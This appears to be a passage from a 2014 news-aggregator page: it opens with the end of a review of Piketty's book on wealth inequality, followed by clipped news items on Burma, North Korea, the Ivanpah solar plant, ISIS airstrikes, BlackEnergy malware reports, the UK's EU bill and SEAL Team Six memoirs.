Just about all economic models tell us that if g falls'--which it has since 1970, a decline that is likely to continue due to slower growth in the working-age population and slower technological progress'--r will fall too. But Piketty asserts that r will fall less than g. This doesn't have to be true. However, if it's sufficiently easy to replace workers with machines'--if, to use the technical jargon, the elasticity of substitution between capital and labor is greater than one'--slow growth, and the resulting rise in the ratio of capital to income, will indeed widen the gap between r and g. And Piketty argues that this is what the historical record shows will happen.
If he's right, one immediate consequence will be a redistribution of income away from labor and toward holders of capital. The conventional wisdom has long been that we needn't worry about that happening, that the shares of capital and labor respectively in total income are highly stable over time. Over the very long run, however, this hasn't been true. In Britain, for example, capital's share of income'--whether in the form of corporate profits, dividends, rents, or sales of property, for example'--fell from around 40 percent before World War I to barely 20 percent circa 1970, and has since bounced roughly halfway back. The historical arc is less clear-cut in the United States, but here, too, there is a redistribution in favor of capital underway. Notably, corporate profits have soared since the financial crisis began, while wages'--including the wages of the highly educated'--have stagnated.
A rising share of capital, in turn, directly increases inequality, because ownership of capital is always much more unequally distributed than labor income. But the effects don't stop there, because when the rate of return on capital greatly exceeds the rate of economic growth, ''the past tends to devour the future'': society inexorably tends toward dominance by inherited wealth.
Consider how this worked in Belle ‰poque Europe. At the time, owners of capital could expect to earn 4''5 percent on their investments, with minimal taxation; meanwhile economic growth was only around one percent. So wealthy individuals could easily reinvest enough of their income to ensure that their wealth and hence their incomes were growing faster than the economy, reinforcing their economic dominance, even while skimming enough off to live lives of great luxury.
And what happened when these wealthy individuals died? They passed their wealth on'--again, with minimal taxation'--to their heirs. Money passed on to the next generation accounted for 20 to 25 percent of annual income; the great bulk of wealth, around 90 percent, was inherited rather than saved out of earned income. And this inherited wealth was concentrated in the hands of a very small minority: in 1910 the richest one percent controlled 60 percent of the wealth in France; in Britain, 70 percent.
No wonder, then, that nineteenth-century novelists were obsessed with inheritance. Piketty discusses at length the lecture that the scoundrel Vautrin gives to Rastignac in Balzac's P¨re Goriot, whose gist is that a most successful career could not possibly deliver more than a fraction of the wealth Rastignac could acquire at a stroke by marrying a rich man's daughter. And it turns out that Vautrin was right: being in the top one percent of nineteenth-century heirs and simply living off your inherited wealth gave you around two and a half times the standard of living you could achieve by clawing your way into the top one percent of paid workers.
You might be tempted to say that modern society is nothing like that. In fact, however, both capital income and inherited wealth, though less important than they were in the Belle ‰poque, are still powerful drivers of inequality'--and their importance is growing. In France, Piketty shows, the inherited share of total wealth dropped sharply during the era of wars and postwar fast growth; circa 1970 it was less than 50 percent. But it's now back up to 70 percent, and rising. Correspondingly, there has been a fall and then a rise in the importance of inheritance in conferring elite status: the living standard of the top one percent of heirs fell below that of the top one percent of earners between 1910 and 1950, but began rising again after 1970. It's not all the way back to Rasti-gnac levels, but once again it's generally more valuable to have the right parents (or to marry into having the right in-laws) than to have the right job.
And this may only be the beginning. Figure 1 on this page shows Piketty's estimates of global r and g over the long haul, suggesting that the era of equalization now lies behind us, and that the conditions are now ripe for the reestablishment of patrimonial capitalism.
Given this picture, why does inherited wealth play as small a part in today's public discourse as it does? Piketty suggests that the very size of inherited fortunes in a way makes them invisible: ''Wealth is so concentrated that a large segment of society is virtually unaware of its existence, so that some people imagine that it belongs to surreal or mysterious entities.'' This is a very good point. But it's surely not the whole explanation. For the fact is that the most conspicuous example of soaring inequality in today's world'--the rise of the very rich one percent in the Anglo-Saxon world, especially the United States'--doesn't have all that much to do with capital accumulation, at least so far. It has more to do with remarkably high compensation and incomes.
3.Capital in the Twenty-First Century is, as I hope I've made clear, an awesome work. At a time when the concentration of wealth and income in the hands of a few has resurfaced as a central political issue, Piketty doesn't just offer invaluable documentation of what is happening, with unmatched historical depth. He also offers what amounts to a unified field theory of inequality, one that integrates economic growth, the distribution of income between capital and labor, and the distribution of wealth and income among individuals into a single frame.
And yet there is one thing that slightly detracts from the achievement'--a sort of intellectual sleight of hand, albeit one that doesn't actually involve any deception or malfeasance on Piketty's part. Still, here it is: the main reason there has been a hankering for a book like this is the rise, not just of the one percent, but specifically of the American one percent. Yet that rise, it turns out, has happened for reasons that lie beyond the scope of Piketty's grand thesis.
Piketty is, of course, too good and too honest an economist to try to gloss over inconvenient facts. ''US inequality in 2010,'' he declares, ''is quantitatively as extreme as in old Europe in the first decade of the twentieth century, but the structure of that inequality is rather clearly different.'' Indeed, what we have seen in America and are starting to see elsewhere is something ''radically new'''--the rise of ''supersalaries.''
Capital still matters; at the very highest reaches of society, income from capital still exceeds income from wages, salaries, and bonuses. Piketty estimates that the increased inequality of capital income accounts for about a third of the overall rise in US inequality. But wage income at the top has also surged. Real wages for most US workers have increased little if at all since the early 1970s, but wages for the top one percent of earners have risen 165 percent, and wages for the top 0.1 percent have risen 362 percent. If Rastignac were alive today, Vautrin might concede that he could in fact do as well by becoming a hedge fund manager as he could by marrying wealth.
What explains this dramatic rise in earnings inequality, with the lion's share of the gains going to people at the very top? Some US economists suggest that it's driven by changes in technology. In a famous 1981 paper titled ''The Economics of Superstars,'' the Chicago economist Sherwin Rosen argued that modern communications technology, by extending the reach of talented individuals, was creating winner-take-all markets in which a handful of exceptional individuals reap huge rewards, even if they're only modestly better at what they do than far less well paid rivals.
Piketty is unconvinced. As he notes, conservative economists love to talk about the high pay of performers of one kind or another, such as movie and sports stars, as a way of suggesting that high incomes really are deserved. But such people actually make up only a tiny fraction of the earnings elite. What one finds instead is mainly executives of one sort or another'--people whose performance is, in fact, quite hard to assess or give a monetary value to.
Who determines what a corporate CEO is worth? Well, there's normally a compensation committee, appointed by the CEO himself. In effect, Piketty argues, high-level executives set their own pay, constrained by social norms rather than any sort of market discipline. And he attributes skyrocketing pay at the top to an erosion of these norms. In effect, he attributes soaring wage incomes at the top to social and political rather than strictly economic forces.
Now, to be fair, he then advances a possible economic analysis of changing norms, arguing that falling tax rates for the rich have in effect emboldened the earnings elite. When a top manager could expect to keep only a small fraction of the income he might get by flouting social norms and extracting a very large salary, he might have decided that the opprobrium wasn't worth it. Cut his marginal tax rate drastically, and he may behave differently. And as more and more of the supersalaried flout the norms, the norms themselves will change.
There's a lot to be said for this diagnosis, but it clearly lacks the rigor and universality of Piketty's analysis of the distribution of and returns to wealth. Also, I don't think Capital in the Twenty-First Century adequately answers the most telling criticism of the executive power hypothesis: the concentration of very high incomes in finance, where performance actually can, after a fashion, be evaluated. I didn't mention hedge fund managers idly: such people are paid based on their ability to attract clients and achieve investment returns. You can question the social value of modern finance, but the Gordon Gekkos out there are clearly good at something, and their rise can't be attributed solely to power relations, although I guess you could argue that willingness to engage in morally dubious wheeling and dealing, like willingness to flout pay norms, is encouraged by low marginal tax rates.
Overall, I'm more or less persuaded by Piketty's explanation of the surge in wage inequality, though his failure to include deregulation is a significant disappointment. But as I said, his analysis here lacks the rigor of his capital analysis, not to mention its sheer, exhilarating intellectual elegance.
Yet we shouldn't overreact to this. Even if the surge in US inequality to date has been driven mainly by wage income, capital has nonetheless been significant too. And in any case, the story looking forward is likely to be quite different. The current generation of the very rich in America may consist largely of executives rather than rentiers, people who live off accumulated capital, but these executives have heirs. And America two decades from now could be a rentier-dominated society even more unequal than Belle ‰poque Europe.
But this doesn't have to happen.
4.At times, Piketty almost seems to offer a deterministic view of history, in which everything flows from the rates of population growth and technological progress. In reality, however, Capital in the Twenty-First Century makes it clear that public policy can make an enormous difference, that even if the underlying economic conditions point toward extreme inequality, what Piketty calls ''a drift toward oligarchy'' can be halted and even reversed if the body politic so chooses.
The key point is that when we make the crucial comparison between the rate of return on wealth and the rate of economic growth, what matters is the after-tax return on wealth. So progressive taxation'--in particular taxation of wealth and inheritance'--can be a powerful force limiting inequality. Indeed, Piketty concludes his masterwork with a plea for just such a form of taxation. Unfortunately, the history covered in his own book does not encourage optimism.
It's true that during much of the twentieth century strongly progressive taxation did indeed help reduce the concentration of income and wealth, and you might imagine that high taxation at the top is the natural political outcome when democracy confronts high inequality. Piketty, however, rejects this conclusion; the triumph of progressive taxation during the twentieth century, he contends, was ''an ephemeral product of chaos.'' Absent the wars and upheavals of Europe's modern Thirty Years' War, he suggests, nothing of the kind would have happened.
As evidence, he offers the example of France's Third Republic. The Republic's official ideology was highly egalitarian. Yet wealth and income were nearly as concentrated, economic privilege almost as dominated by inheritance, as they were in the aristocratic constitutional monarchy across the English Channel. And public policy did almost nothing to oppose the economic domination by rentiers: estate taxes, in particular, were almost laughably low.
Why didn't the universally enfranchised citizens of France vote in politicians who would take on the rentier class? Well, then as now great wealth purchased great influence'--not just over policies, but over public discourse. Upton Sinclair famously declared that ''it is difficult to get a man to understand something when his salary depends on his not understanding it.'' Piketty, looking at his own nation's history, arrives at a similar observation: ''The experience of France in the Belle ‰poque proves, if proof were needed, that no hypocrisy is too great when economic and financial elites are obliged to defend their interest.''
The same phenomenon is visible today. In fact, a curious aspect of the American scene is that the politics of inequality seem if anything to be running ahead of the reality. As we've seen, at this point the US economic elite owes its status mainly to wages rather than capital income. Nonetheless, conservative economic rhetoric already emphasizes and celebrates capital rather than labor'--''job creators,'' not workers.
In 2012 Eric Cantor, the House majority leader, chose to mark Labor Day'--Labor Day!'--with a tweet honoring business owners:
Today, we celebrate those who have taken a risk, worked hard, built a business and earned their own success.
Perhaps chastened by the reaction, he reportedly felt the need to remind his colleagues at a subsequent GOP retreat that most people don't own their own businesses'--but this in itself shows how thoroughly the party identifies itself with capital to the virtual exclusion of labor.
Nor is this orientation toward capital just rhetorical. Tax burdens on high-income Americans have fallen across the board since the 1970s, but the biggest reductions have come on capital income'--including a sharp fall in corporate taxes, which indirectly benefits stockholders'--and inheritance. Sometimes it seems as if a substantial part of our political class is actively working to restore Piketty's patrimonial capitalism. And if you look at the sources of political donations, many of which come from wealthy families, this possibility is a lot less outlandish than it might seem.
Piketty ends Capital in the Twenty-First Century with a call to arms'--a call, in particular, for wealth taxes, global if possible, to restrain the growing power of inherited wealth. It's easy to be cynical about the prospects for anything of the kind. But surely Piketty's masterly diagnosis of where we are and where we're heading makes such a thing considerably more likely. So Capital in the Twenty-First Century is an extremely important book on all fronts. Piketty has transformed our economic discourse; we'll never talk about wealth and inequality the same way we used to.
Regime Change
Statement by NSC Spokesperson Bernadette Meehan on Deputy National Security Advisor for Strategic Communications Benjamin Rhodes' Meeting with Non-Governmental Organizations Working to Promote Human Rights and Democracy in Burma | The White House
Sun, 09 Nov 2014 02:23
The White House
Office of the Press Secretary
For Immediate Release
November 06, 2014
Deputy National Security Advisor for Strategic Communications and Assistant to the President Benjamin Rhodes met today with representatives of non-governmental organizations working to promote human rights and democracy in Burma. Mr. Rhodes noted that human rights and democracy are at the core of our bilateral agenda with Burma, engaged the group on their concerns about the challenges confronting reform in Burma, and outlined the President's priorities for future engagement with the Government of Burma. Mr. Rhodes underscored the importance of addressing the humanitarian needs, rights, and status of the Rohingya community in Rakhine State, and other Muslim minority communities throughout Burma. He emphasized the need for constitutional reforms that transfer political power to a civilian-led, elected government and ensure the people of Burma can elect the leader of their choice. He also discussed the status of the ongoing ceasefire negotiations with ethnic nationalities, the 2015 elections, the importance of establishing an office representing the UN High Commissioner for Human Rights in Burma, and concerns about media freedoms, protection of the rights of women, and political prisoners.
VIDEO-CLIPS-DOCS
VIDEO-Detainees Miller and Bae from US freed by North Korea | euronews, world news
Sun, 09 Nov 2014 15:40
Two American citizens Matthew Todd Miller and Kenneth Bae are on their way home after being released from prison in North Korea.
Miller, the younger of the two had been held in custody since April. To the surprise of many commentators James Clapper the US Director of National Intelligence went to North Korea and is accompanying the men home.
They were released just hours before the President Barack Obama was to start a trip to Asia. Officials said he will hold talks with Chinese leaders on how Beijing can use its influence with North Korea to reign in its nuclear weapons programme.
Kenneth Bae's son told one media outlet his father's release came out of the blue. ''One minute he was doing farm labor and the next minute they told him he was going home.''
The missionary from Washington state was arrested in North Korea in April 2012 and sentenced to 15 years hard labor for crimes against the state.
VIDEO-World's largest solar plant applying for federal grant to pay off federal loan | Fox News
Sun, 09 Nov 2014 02:42
After already receiving a controversial $1.6 billion construction loan from U.S. taxpayers, the wealthy investors of a California solar power plant now want a $539 million federal grant to pay off their federal loan.
"This is an attempt by very large cash generating companies that have billions on their balance sheet to get a federal bailout, i.e. a bailout from us - the taxpayer for their pet project," said Reason Foundation VP of Research Julian Morris. "It's actually rather obscene."
The Ivanpah solar electric generating plant is owned by Google and renewable energy giant NRG, which are responsible for paying off their federal loan. If approved by the U.S. Treasury, the two corporations will not use their own money, but taxpayer cash to pay off 30 percent of the cost of their plant, but taxpayers will receive none of the millions in revenues the plant will generate over the next 30 years.
"They're already paying less than the market rate," said Morris, author of a lengthy report detailing alleged cronyism and corruption in the Obama administration's green energy programs. "Now demanding or asking for a subsidy in the form of a grant directly paying off the loan is an egregious abuse."
NRG doesn't see it that way, telling Fox News the money is there for the taking."NRG believes in a clean and sustainable energy future and therefore participates in available government programs to develop and expand the use of clean energy to accelerate America's energy independence." In 2013, the Obama administration handed out $18.5 billion in renewable energy grants, with $4.4 billion going to solar projects.
Ivanpah is the largest concentrated solar power plant in the world. It was unveiled in February with great fanfare. Dr. Ernest Moniz, the U.S. Secretary of Energy, justified taxpayers' investment at the time, saying, "We want to be technology leaders. It's good for our economy and it's also good for helping stimulate the global transition to low carbon."
But since then the plant has not lived up to its clean energy promise. According to the U.S. Energy Information Administration, the plant produced only about a quarter of the power it's supposed to, a disappointing 254,263 megawatt-hours of electricity from January through August, not the million megawatt-hours it promised.
A NRG spokesman blamed the weather, saying the sun didn't shine as often as years of studies predicted. However by the four-year mark, NRG has "every confidence that the plant will function as anticipated for the life of the facility,"according to the company.
Touted as a clean, green energy, some environmentalists have turned against concentrated solar as a technology, deeming it dangerous and a threat to wildlife. Unlike solar photovoltaics, which turn sunlight directly into electricity, CSP uses thousands of large mirrors to concentrate reflected sunlight into powerful beams aimed at ''power towers.'' The heat generates steam to turn turbines that create electricity.
The problem is that birds see the mirrors as water. As they approach, the 800º F solar beams roast any bird that happens to fly by. A recent study released by the California Energy Commission conducted by the Center for Biological Diversity called Ivanpah a ''mega-trap'' that will kill up to 28,000 birds a year.
The plants' owner at the time, BrightSource Energy, said it will likely kill only a thousand birds a year. BrightSource came under scrutiny by the House Oversight and Government Reform Committee and investigators found the company received direct ''guidance and support from the White House'' for how it obtained its $1.6 billion in federal loans.
William La Jeunesse joined FOX News Channel (FNC) in March 1998 and currently serves as a Los Angeles-based correspondent.
VIDEO- The President and First Lady Host "A Salute to the Troops: In Performance at the White House" - YouTube
Sun, 09 Nov 2014 02:25
VIDEO-US and Russia agree to exchange information on Ukraine | euronews, world news
Sun, 09 Nov 2014 15:23
The US and Russia have agreed to exchange information about the situation on the Russia-Ukraine border, according to US Secretary of State John Kerry.
Russian Foreign Minister Sergei Lavrov said if the US got involved to help resolve the conflict it would be ''a step in the right direction''.
After their meeting in Beijing in the lead-up to the Asia-Pacific Economic Cooperation (APEC) summit, both admitted however that they do not see eye to eye on events in Ukraine.
''We do have some disagreements about some of the facts on the ground with respect to Ukraine. We have agreed to exchange some information between us regarding that. And we have also agreed this is a dialogue that will continue,'' Kerry said.
Lavrov said the US should discourage what he called ''hot heads'' among Ukraine's leadership from resuming an all-out conflict with the rebels.
''The ceasefire has been signed between the rebels and the government. It's for them to finalise the disengagement line which they are doing right now,'' the Russian foreign minister said.
He laughed off Kyiv's claims that there'd been a new Russian military incursion into eastern Ukraine this week.
Lavrov noted that the US government on Friday said that it was aware of the reports, but could not independently confirm them.
''Even (spokeswoman) Jen Psaki said that the State Department doesn't have the information about this,'' he said. ''Well, if Psaki doesn't have it, I don't.''
More fighting was reported in Donetsk overnight, underlining the ceasefire's fragility.
The Ukrainian army says one soldier was killed by a sniper at the airport, and 15 other soldiers were injured in various clashes, along with two civilians.
Municipal authorities in Donetsk also said two civilians had been wounded after a night marked by shots and explosions.
VIDEO-US airstrikes target ISIS leaders gathered in Iraq, says TV report - CSMonitor.com
Sun, 09 Nov 2014 02:59
Baghdad '-- US air strikes have targeted a gathering of Islamic State leaders in Iraq in a town near the Syrian border, possibly including the group's top commander Abu Bakr al-Baghdadi, Al-Hadath television channel said on Saturday.
Iraqi security officials were not immediately available for comment on the report from Al-Hadath, part of Saudi-owned al-Arabiya television, but two witnesses told Reuters an air strike targeted a house where senior Islamic State officers were meeting, near the western Iraqi border town of al-Qaim.
They said Islamic State fighters had cleared a hospital so that their wounded could be treated. Islamic State fighters used loudspeakers to urge residents to donate blood, the witnesses said.
Residents said there were unconfirmed reports that Islamic State's local leader in the western Iraqi province of Anbar and his deputy were killed.
When asked about the airstrikes, US officials confirmed destroyed a moving, 10-vehicle Islamic State convoy near the Iraqi city of Mosul but officials said on Saturday it was unclear whether the group's top commander Abu Bakr al-Baghdadi was present at the time.
Col. Patrick Ryder, a spokesman at the U.S. military's Central Command, said the U.S. military had reason to believe that the convoy was the product of a gathering of Islamic State leaders.
An Islamic State supporter contacted by Reuters said the strike near al Qaim hit a local market, killing at least eight people.
Al-Hadath said dozens of people were killed and wounded in the strike in al-Qaim, and that Baghdadi's fate was unclear. Al-Qaim and the neighboring Syrian town of Albukamal are on a strategic supply route linking territory held by Islamic State in Iraq and Syria.
BOMBINGS
The hardline Sunni Islamic State's drive to form a caliphate in the two countries has helped return sectarian violence in Iraq to the dark days of 2006-2007, the peak of its civil war.
It has also created a cross-border sanctuary for Arab militants, as well as foreign fighters whose passports could allow them to evade detection in Western airports.
On Saturday night a car bomb killed eight people in Baghdad's mostly Shi'ite Sadr City, police and hospital sources said, bringing to 28 the day's toll from bombs in the Iraqi capital and the western city of Ramadi.
Two bombs exploded in separate attacks in Baghdad's mainly Shi'ite Amil district, said a police source. "A driver parked his car and went to a cigarette stall, then he disappeared. Then his car blew up, killing passers-by," the source said, describing one of the two attacks in Amil.
In the mostly Shi'ite al-Amin area of Baghdad, another car bomb killed eight people, medical sources said.
The attack by a suicide bomber on a checkpoint in Ramadi in Anbar killed five soldiers. "Before the explosion, the checkpoint was targeted with several mortar rounds. Then the suicide humvee bomber attacked it," said a police official.
There was no claim of responsibility for the bombings, but they resembled operations carried out by Islamic militants.
In the town of Baquba, 65 km (40 miles) northeast of Baghdad, a gunman killed a Shi'ite militiaman, and a car bomb targeting a police officer killed his 10-year-old son, security sources said.
U.S. TROOPS
Western and Iraqi officials say U.S.-led air strikes are not enough to defeat the al Qaeda offshoot and Iraq must improve the performance of its security forces to eliminate the threat from the group, which wants to redraw the map of the Middle East.
President Barack Obama has approved sending up to 1,500 more troops to Iraq, roughly doubling the number of U.S. forces on the ground, to advise and retrain Iraqis in their battle against Islamic State.
"Even with the additional personnel, the mission is not changing," an administration official told reporters on a conference call Friday. "The mission continues to be one of training, advising, and equipping Iraqis and it's the Iraqis who are fighting on the ground in combat."
"This is a different model and approach to the previous efforts in Iraq when we had large-scale ground forces in combat,'' the official said, referring to the US-led invasion of Iraq in 2003, ordered by former president George W. Bush.
The Iraqi prime minister's media office said the additional U.S. trainers were welcome but the move, five months after Islamic State seized much of northern Iraq, was belated, state television reported.
The United States spent $25 billion on the Iraqi military during the U.S. occupation that toppled Saddam Hussein in 2003 and triggered an insurgency that included al Qaeda.
Washington wants Iraq's Shi'ite-led government to revive an alliance with Sunni tribesmen in Anbar province which helped U.S. Marines defeat al Qaeda.
Such an alliance would face a more formidable enemy in Islamic State, which has more firepower and funding.
Police Colonel Shaaban Barazan al-Ubaidi, commander of a rapid reaction force in Anbar, said security forces retook eight villages. His account could not be immediately confirmed. (Additional reporting by Ahmed Rasheed in Baghdad, Philip Stewart and Mark Hosenball in Washington; Editing by Dominic Evans and Kevin Liffey)
VIDEO-BBC News - Catalonia independence: Spanish region set for informal poll
Sun, 09 Nov 2014 02:54
Sunday's informal vote on Catalan independence will have "no effect", Spain's prime minister has said.
The referendum, called by the nationalist regional government of Catalonia, was ruled unconstitutional by the country's highest court, following an appeal by Mariano Rajoy.
Many Catalans believe the Spanish state gives their region a raw deal financially and that it refuses to accept their cultural differences and language.
Guy Hedgecoe reports from Barcelona.
VIDEO-BBC News - Mikhail Gorbachev warns of 'new Cold War'
Sun, 09 Nov 2014 02:53
The world is on the brink of a new Cold War, and trust should be restored by dialogue with Russia, former Soviet leader Mikhail Gorbachev has said.
He expressed alarm about recent Middle Eastern and European conflicts at an event to mark the 25th anniversary of the fall of the Berlin Wall.
Tensions have been raised between the West and Russia over Ukraine, which was part of the Soviet Union.
Rob Broomby reports.
VIDEO- Introducing Amazon Echo - YouTube
Sun, 09 Nov 2014 02:24
VIDEO-'Trojan Horse' Bug Lurking in Vital US Computers Since 2011 - ABC News
Sun, 09 Nov 2014 00:53
More ABC US news | ABC Health NewsCopyA destructive ''Trojan Horse'' malware program has penetrated the software that runs much of the nation's critical infrastructure and is poised to cause an economic catastrophe, according to the Department of Homeland Security.
National Security sources told ABC News there is evidence that the malware was inserted by hackers believed to be sponsored by the Russian government, and is a very serious threat.
The hacked software is used to control complex industrial operations like oil and gas pipelines, power transmission grids, water distribution and filtration systems, wind turbines and even some nuclear plants. Shutting down or damaging any of these vital public utilities could severely impact hundreds of thousands of Americans.
DHS said in a bulletin that the hacking campaign has been ongoing since 2011, but no attempt has been made to activate the malware to ''damage, modify, or otherwise disrupt'' the industrial control process. So while U.S. officials recently became aware the penetration, they don't know where or when it may be unleashed.
DHS sources told ABC News they think this is no random attack and they fear that the Russians have torn a page from the old, Cold War playbook, and have placed the malware in key U.S. systems as a threat, and/or as a deterrent to a U.S. cyber-attack on Russian systems '' mutually assured destruction.
The hack became known to insiders last week when a DHS alert bulletin was issued by the agency's Industrial Control Systems Cyber Emergency Response Team to its industry members. The bulletin said the ''BlackEnergy'' penetration recently had been detected by several companies.
DHS said ''BlackEnergy'' is the same malware that was used by a Russian cyber-espionage group dubbed ''Sandworm'' to target NATO and some energy and telecommunications companies in Europe earlier this year. ''Analysis of the technical findings in the two reports shows linkages in the shared command and control infrastructure between the campaigns, suggesting both are part of a broader campaign by the same threat actor,'' the DHS bulletin said.
The hacked software is very advanced. It allows designated workers to control various industrial processes through the computer, an iPad or a smart phone, sources said. The software allows information sharing and collaborative control.
VIDEO- Fake a Heart Attack During Home Invasion
Sun, 09 Nov 2014 00:51
An ABC affiliate out of Houston, Texas has some interesting advice for what to do during a home invasion.
Among other things, the station encourages victims to fake having a heart attack or a breathing problem. Basically '' play dead.
If you do want to fight back, the station recommends pepper spray or a baseball bat.
The station says in the article accompanying the video that they intentionally did not mention firearms:
We specifically did not mention firearms. If you own one, you need to know how, when, and where to use it.
As we've documented here hundreds of times, even inexperienced firearms users fair better when they are armed against a violent aggressor. That said, you should absolutely get the best training you can afford.
There is some good advice in the video, such as having a plan in advance, making sure your family are all on the same page and keeping your keys/cell phone nearby at night.
Based on what this site is all about I think you know what my suggestions would be for home defense:
1. Keep firearms safely at hand.2. Make sure you are trained in the proper use of those firearms. Be ready to fight for your life if needed.3. Burglar alarms, automated lighting, and reinforced locks/doors can act as a ''first line of defense'' and buy you a few valuable moments. However, don't rely on these measures to completely prevent or stop a break-in.4. Dogs can be a great early warning system as well as a deterrent. However, owning a dog is a commitment you have to be ready to make.5. As mentioned in the video, having a plan and keeping your cell phone and car keys nearby at night is also good advice.
Dan has combined his background in technology with his passion for shooting and personal rights to create one of the most read Second Amendment news websites online. Dan holds a B.Sc. degree in Information Technology and Criminology. His articles are also syndicated in The Daily Caller's "Guns and Gear" Section.
VIDEO-Ferguson police are investigating fight involving Brown family : News
Sun, 09 Nov 2014 00:45
Ferguson police are investigating a fight between members of Michael Brown's family on Oct. 18, stemming from a disagreement over who has the right to sell commemorative shirts.
Pearlie Gordon, 54, the mother of Michael Brown Sr.'s wife, Calvina, said she was one of three people selling ''Justice for Mike Brown'' T-shirts from a tent outside Red's BBQ, at 9300 West Florissant Avenue, when a group of 20 to 30 people rushed them about 1:20 p.m..
Gordon said Lesley McSpadden, Michael Brown's mother, told her she couldn't sell the shirts. Gordon said she told her she was Michael Brown Sr.'s mother-in-law, and unless McSpadden had a patent on her son's name, she was going to continue. Gordon said in an interview that she and her son-in-law sell shirts, bandanas and other Brown memorabilia at the tent and over the Internet.
Gordon was ''repeatedly struck in the back and left side of the head by an unknown subject,'' according to the report. She said McSpadden ran up and punched her. Gordon told police that her friend, Tony Petty, was also attacked and was taken by ambulance to a hospital. Gordon said $1,500 in merchandise and $400 were stolen.>>
Lynne Perkins, a lawyer for McSpadden, said, ''My client denies that she assaulted anyone.''
The report says a witness took video of the fight, but the police haven't persuaded her to turn it over.
At McSpadden's request, Ferguson did not initially release the incident report to media. Ferguson city clerk Megan Asikainen filed suit in St. Louis County to get a court ruling on a request from KTVI (Channel 2) reporter Chris Hayes on whether it was an open record; St. Louis County Presiding Judge Maura McShane on Wednesday told the Ferguson city attorney the report was an open public record.
VIDEO-Blake Morgan on Taylor Swift
Sun, 09 Nov 2014 00:10
CNN's Poppy Harlow speaks with artist Blake Morgan in the aftermath of Taylor Swift pulling her music from Spotify.
If your browser has Adobe Flash Player installed, click above to play. Otherwise, click below.
VIDEO-Poland quizzes Polanski over US extradition plea - YouTube
Sat, 08 Nov 2014 23:23
VIDEO-PM Trying To 'Fool' Public Over EU Surcharge
Sat, 08 Nov 2014 23:14
The Prime Minister has been accused of "trying to take the British people for fools" for claiming the UK has managed to wrangle a 50% reduction on the £1.7bn EU surcharge.
Chancellor George Osborne said Britain would now pay the European Union just £850m of the original demand.
Mr Cameron described it as a victory for Britain and praised the Chancellor for securing the deal.
But shadow chancellor Ed Balls claimed the deal had not saved the UK "a single penny" and accused the pair of "trying to take the British people for fools".
"By counting the rebate Britain was due anyway, they are desperately trying to claim that the backdated bill for £1.7bn has somehow been halved," he said.
Video:Has Surcharge Really Been Halved?"But nobody will fall for this smoke and mirrors."
The demand was made by Brussels after a recalculation of Britain's gross national income in relation to other EU states.
Mr Osborne said the deal, struck after meeting finance ministers in Brussels, was "far beyond what anyone expected us to achieve".
He said it meant the bill would be paid in two interest-free instalments after next year's election.
"Instead of footing the bill we have halved the bill, we have delayed the bill, we will pay no interest on the bill and if there are any mistakes in the bill we will get our money back," he said.
Video:Cameron: 'Good News' On EU BillBut political opponents, including UKIP, claimed the reduction had been achieved only by bringing forward a rebate to which the UK would have been entitled anyway.
UKIP leader Nigel Farage wrote on Twitter: "Osborne trying to spin his way out of disaster. UK still paying full £1.7 billion, his credibility is about to nose dive."
Sky's Europe Correspondent Robert Nisbet said it appeared the EU would still get the full £1.7bn as a result of what he said some would call "clever accounting".
"Next year there will be two instalments that will equal £850m that will be paid to Brussels by the UK and it will get its rebate in full. So far, so good," explained Nisbet.
"But what will happen in 2016 is that an extra rebate based on increased VAT receipts will be used to settle the rest of the bill.
Video:Migrant Movements 'Not Unqualified'"That allows the EU to claim it's getting its money, the UK to claim it's negotiated a great deal for Britain and for opposition parties to cry foul."
A Number 10 source insisted there was "no guarantee the rebate would have applied to this" before the deal was struck, and added: "Our view is that this is a very good deal."
However, Conservative MEP Daniel Hannan suggested the devil was in the detail, saying: "The EU sticks us with a bill. Ministers double it, apply the rebate, return to the original figure and claim victory. We're meant to cheer?
"Britain is worse off in absolute terms, but a straw man has been knocked down. A prelude to how the pro-EU side will fight the referendum."
Mr Osborne said EU rules would now be changed forever "so this never happens again", claiming he had got his counterparts to agree to change the system for calculating adjustments to member states' contributions.
Video:How Is The UK Seen In Europe?The PM had earlier warned there would be a "major problem" if Brussels insisted on Britain paying the bill in full.
Mr Cameron went on the offensive after a meeting with other European leaders in Finland, saying Britain would not pay "anything like" the full amount ahead of a looming 1 December deadline.
VIDEO-Who Shot Bin Laden? A Tale of Two SEALs - NBC News.com
Sat, 08 Nov 2014 23:08
Two different alumni of SEAL Team Six, the secretive group of highly trained warriors that killed Osama bin Laden three years ago, have been profiting off their role in the terror leader's death since leaving the military.
Former Team Six member Matt Bissonnette, who wrote a bestseller under a pseudonym about shooting bin Laden, is about to publish his second book about being a Navy SEAL. Rob O'Neill, meanwhile, is the unnamed ''shooter'' who was credited in numerous magazine articles with firing the fatal shots, and according to two SEAL sources will be presented again as the ''shooter'' in a Fox News interview that airs later this month. He has been traveling the country giving paid motivational speeches on the unspoken understanding that he's the man who killed bin Laden.
Neither man is the SEAL who was first up the stairs at bin Laden's Pakistan compound and fired the first shot at Osama. But their dueling narratives are a sign of the backbiting and dysfunction that has roiled a once tight-knit band of warriors as former members violate their code of secrecy in search of the spotlight.
''Two different people telling two different stories for two different reasons,'' said Matt Bissonnette in an interview with NBC News. His second book, ''No Hero,'' comes out next week. ''Whatever he says, he says. I don't want to touch that.''
Both men now face scorn from some brother SEALs. Unlike O'Neill, however, Bissonnette is under investigation by the federal government, which is trying to determine whether he disclosed classified information in his first book. He says he's sorry he didn't submit the book for legal review, but says there are ''inconsistencies'' about who is allowed to talk and who isn't, since higher ups were apparently speaking freely.
''Everybody and their brother was talking about this,'' said Bissonnette. ''How can you be holding it against me?''
Just a week ago, the two officers who run the Naval Special Warfare Command fired off a stern warning letter to all SEAL ''teammates'' about seeking fame. The message, sent ahead of Bissonnette's appearance on ''60 Minutes'' and O'Neill's interview on Fox, seemed intended to shame Bissonnette and O'Neill.
''At Naval Special Warfare's core is the SEAL Ethos,'' said the letter, signed by Rear Adm. Brian Losey and Master Chief Michael Magaraci. ''A critical (tenet) of our Ethos is 'I do not advertise the nature of my work, nor seek recognition for my actions.'
''We do not abide willful or selfish disregard for our core values in return for public notoriety and financial gain.''
The letter closes by reminding the ''teammates'' that classified information is protected by law, and warns that ''We will actively seek judicial consequences for members who willfully violate the law.''
Bissonnette, who left the Navy in April 2012, was the first SEAL from the bin Laden mission to cut a business deal based on his participation. When he published the book ''No Easy Day'' on Sept. 4, 2012, he used the pen name Mark Owen and pledged much of the proceeds to charity, but he still became persona non grata with his command and many former comrades.
